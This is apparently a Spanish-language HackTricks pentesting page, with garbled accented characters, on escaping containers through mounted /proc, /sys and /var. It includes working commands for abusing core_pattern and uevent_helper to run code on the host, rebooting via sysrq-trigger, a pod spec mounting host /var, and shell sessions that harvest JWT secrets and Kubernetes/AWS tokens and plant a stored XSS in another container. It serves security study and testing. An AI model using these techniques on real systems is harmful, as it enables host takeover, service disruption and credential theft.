Sensitive Mounts

Reading time: 10 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

La exposici贸n de /proc, /sys y /var sin un aislamiento adecuado de namespaces introduce riesgos de seguridad significativos, incluyendo la ampliaci贸n de la superficie de ataque y la divulgaci贸n de informaci贸n. Estos directorios contienen archivos sensibles que, si est谩n mal configurados o son accedidos por un usuario no autorizado, pueden llevar a la fuga de contenedores, modificaci贸n del host o proporcionar informaci贸n que ayude a ataques posteriores. Por ejemplo, montar incorrectamente -v /proc:/host/proc puede eludir la protecci贸n de AppArmor debido a su naturaleza basada en rutas, dejando /host/proc desprotegido.

Puedes encontrar m谩s detalles de cada posible vulnerabilidad en https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts.

Vulnerabilidades de procfs

/proc/sys

Este directorio permite el acceso para modificar variables del kernel, generalmente a trav茅s de sysctl(2), y contiene varios subdirectorios de inter茅s:

/proc/sys/kernel/core_pattern

  • Descrito en core(5).
  • Permite definir un programa para ejecutar en la generaci贸n de archivos de n煤cleo con los primeros 128 bytes como argumentos. Esto puede llevar a la ejecuci贸n de c贸digo si el archivo comienza con un pipe |.
  • Ejemplo de prueba y explotaci贸n:
bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Probar acceso de escritura
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Establecer controlador personalizado
sleep 5 && ./crash & # Activar controlador

/proc/sys/kernel/modprobe

  • Detallado en proc(5).
  • Contiene la ruta al cargador de m贸dulos del kernel, invocado para cargar m贸dulos del kernel.
  • Ejemplo de verificaci贸n de acceso:
bash
ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe

/proc/sys/vm/panic_on_oom

  • Referenciado en proc(5).
  • Una bandera global que controla si el kernel se bloquea o invoca al OOM killer cuando ocurre una condici贸n OOM.

/proc/sys/fs

  • Seg煤n proc(5), contiene opciones e informaci贸n sobre el sistema de archivos.
  • El acceso de escritura puede habilitar varios ataques de denegaci贸n de servicio contra el host.

/proc/sys/fs/binfmt_misc

  • Permite registrar int茅rpretes para formatos binarios no nativos basados en su n煤mero m谩gico.
  • Puede llevar a la escalada de privilegios o acceso a shell root si /proc/sys/fs/binfmt_misc/register es escribible.
  • Exploit relevante y explicaci贸n:
  • Poor man's rootkit via binfmt_misc
  • Tutorial en profundidad: Video link

Otros en /proc

/proc/config.gz

  • Puede revelar la configuraci贸n del kernel si CONFIG_IKCONFIG_PROC est谩 habilitado.
  • 脷til para los atacantes para identificar vulnerabilidades en el kernel en ejecuci贸n.

/proc/sysrq-trigger

  • Permite invocar comandos Sysrq, potencialmente causando reinicios inmediatos del sistema u otras acciones cr铆ticas.
  • Ejemplo de reinicio del host:
bash
echo b > /proc/sysrq-trigger # Reinicia el host

/proc/kmsg

  • Expone mensajes del b煤fer de anillo del kernel.
  • Puede ayudar en exploits del kernel, fugas de direcciones y proporcionar informaci贸n sensible del sistema.

/proc/kallsyms

  • Lista s铆mbolos exportados del kernel y sus direcciones.
  • Esencial para el desarrollo de exploits del kernel, especialmente para superar KASLR.
  • La informaci贸n de direcci贸n est谩 restringida con kptr_restrict configurado en 1 o 2.
  • Detalles en proc(5).

/proc/[pid]/mem

  • Interfaz con el dispositivo de memoria del kernel /dev/mem.
  • Hist贸ricamente vulnerable a ataques de escalada de privilegios.
  • M谩s sobre proc(5).

/proc/kcore

  • Representa la memoria f铆sica del sistema en formato ELF core.
  • La lectura puede filtrar el contenido de la memoria del sistema host y de otros contenedores.
  • El gran tama帽o del archivo puede llevar a problemas de lectura o fallos de software.
  • Uso detallado en Dumping /proc/kcore in 2019.

/proc/kmem

  • Interfaz alternativa para /dev/kmem, representando la memoria virtual del kernel.
  • Permite lectura y escritura, por lo tanto, modificaci贸n directa de la memoria del kernel.

/proc/mem

  • Interfaz alternativa para /dev/mem, representando la memoria f铆sica.
  • Permite lectura y escritura, la modificaci贸n de toda la memoria requiere resolver direcciones virtuales a f铆sicas.

/proc/sched_debug

  • Devuelve informaci贸n de programaci贸n de procesos, eludiendo las protecciones del namespace PID.
  • Expone nombres de procesos, IDs e identificadores de cgroup.

/proc/[pid]/mountinfo

  • Proporciona informaci贸n sobre puntos de montaje en el namespace de montaje del proceso.
  • Expone la ubicaci贸n del rootfs o imagen del contenedor.

Vulnerabilidades de /sys

/sys/kernel/uevent_helper

  • Usado para manejar uevents de dispositivos del kernel.
  • Escribir en /sys/kernel/uevent_helper puede ejecutar scripts arbitrarios al activarse uevent.
  • Ejemplo de explotaci贸n: %%%bash

Crea una carga 煤til

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

Encuentra la ruta del host desde el montaje de OverlayFS para el contenedor

hostpath=$(sed -n 's/.\perdir=([^,]_).*/\1/p' /etc/mtab)

Establece uevent_helper en el ayudante malicioso

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

Activa un uevent

echo change > /sys/class/mem/null/uevent

Lee la salida

cat /output %%%

/sys/class/thermal

  • Controla configuraciones de temperatura, potencialmente causando ataques DoS o da帽os f铆sicos.

/sys/kernel/vmcoreinfo

  • Filtra direcciones del kernel, comprometiendo potencialmente KASLR.

/sys/kernel/security

  • Alberga la interfaz securityfs, permitiendo la configuraci贸n de M贸dulos de Seguridad de Linux como AppArmor.
  • El acceso podr铆a permitir a un contenedor deshabilitar su sistema MAC.

/sys/firmware/efi/vars y /sys/firmware/efi/efivars

  • Expone interfaces para interactuar con variables EFI en NVRAM.
  • La mala configuraci贸n o explotaci贸n puede llevar a laptops bloqueadas o m谩quinas host que no se pueden iniciar.

/sys/kernel/debug

  • debugfs ofrece una interfaz de depuraci贸n "sin reglas" al kernel.
  • Historial de problemas de seguridad debido a su naturaleza sin restricciones.

Vulnerabilidades de /var

La carpeta /var del host contiene sockets de tiempo de ejecuci贸n de contenedores y los sistemas de archivos de los contenedores. Si esta carpeta se monta dentro de un contenedor, ese contenedor obtendr谩 acceso de lectura y escritura a los sistemas de archivos de otros contenedores con privilegios de root. Esto puede ser abusado para pivotar entre contenedores, causar una denegaci贸n de servicio o crear puertas traseras en otros contenedores y aplicaciones que se ejecutan en ellos.

Kubernetes

Si un contenedor como este se despliega con Kubernetes:

yaml
apiVersion: v1
kind: Pod
metadata:
name: pod-mounts-var
labels:
app: pentest
spec:
containers:
- name: pod-mounts-var-folder
image: alpine
volumeMounts:
- mountPath: /host-var
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /var

Dentro del contenedor pod-mounts-var-folder:

bash
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html

El XSS se logr贸:

Stored XSS via mounted /var folder

Tenga en cuenta que el contenedor NO requiere un reinicio ni nada. Cualquier cambio realizado a trav茅s de la carpeta montada /var se aplicar谩 instant谩neamente.

Tambi茅n puede reemplazar archivos de configuraci贸n, binarios, servicios, archivos de aplicaci贸n y perfiles de shell para lograr RCE autom谩tico (o semi-autom谩tico).

Acceso a credenciales de la nube

El contenedor puede leer tokens de serviceaccount de K8s o tokens de webidentity de AWS, lo que permite al contenedor obtener acceso no autorizado a K8s o a la nube:

bash
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token

Docker

La explotaci贸n en Docker (o en implementaciones de Docker Compose) es exactamente la misma, excepto que generalmente los sistemas de archivos de los otros contenedores est谩n disponibles bajo una ruta base diferente:

bash
$ docker info | grep -i 'docker root\|storage driver'
Storage Driver: overlay2
Docker Root Dir: /var/lib/docker

Los sistemas de archivos est谩n bajo /var/lib/docker/overlay2/:

bash
$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>

Nota

Las rutas reales pueden diferir en diferentes configuraciones, por lo que tu mejor opci贸n es usar el comando find para localizar los sistemas de archivos de otros contenedores y los tokens de identidad SA / web.

Referencias

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks